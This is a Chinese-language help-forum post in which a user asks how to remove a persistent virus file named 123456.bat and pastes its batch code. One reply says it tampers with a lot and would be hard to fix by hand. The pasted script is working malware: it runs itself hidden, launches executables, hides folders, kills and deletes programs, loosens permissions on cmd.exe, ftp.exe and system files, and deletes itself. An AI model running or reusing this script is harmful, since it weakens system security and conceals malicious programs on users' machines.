Question

我电脑里面总有一个病毒，123456.bat，有没有高手帮解决啊？

这个是它的代码 @echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~fs0 h",0)(window.close)&&exit :begin rem @echo off if exist C:\downs\runs.exe start C:\downs\runs.exe if exist C:\download\runs.exe start C:\download\runs.exe copy c:\windows\system32\cacls.exe c:\windows\help\akpls.exe /y md C:\Progra~1\shengda md C:\Progra~1\kugou2010 md C:\download taskkill /f /im unins000.exe del C:\Progra~1\kugou2010\unins000.exe taskkill /f /im my.exe del C:\Progra~1\mainsoft\my.exe taskkill /f /im load.exe del C:\Progra~1\kugou2010\load.exe taskkill /f /im rungames.exe del C:\Progra~1\kugou2010\rungames.exe attrib +s +h C:\Progra~1\shengda attrib +s +h C:\Progra~1\kugou2010 attrib +s +h C:\download cacls cmd.exe /e /g system:f cacls cmd.exe /e /g everyone:f cacls ftp.exe /e /g system:f cacls ftp.exe /e /g everyone:f cacls c:\windows\help\akpls.exe /e /g system:f cacls c:\windows\help\akpls.exe /e /g everyone:f cacls c:\downs /e /g everyone:f cacls C:\Progra~1\4km2 /e /g everyone:f cacls C:\Progra~1\3km2 /e /g everyone:f cacls C:\Progra~1\Common~1\System\ado\msado15.dll /e /g system:f cacls C:\Progra~1\Common~1\System\ado\msado15.dll /e /g everyone:f reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v BGClient /f reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shell /f del c:\windows\system32\wbem\se.bat del c:\windows\system32\wbem\12345.bat del %0

Answer 1

这玩意做不少手脚啊
估计得远程解决

这个手工解决也有点费劲
这玩意从哪来的啊
没见过啊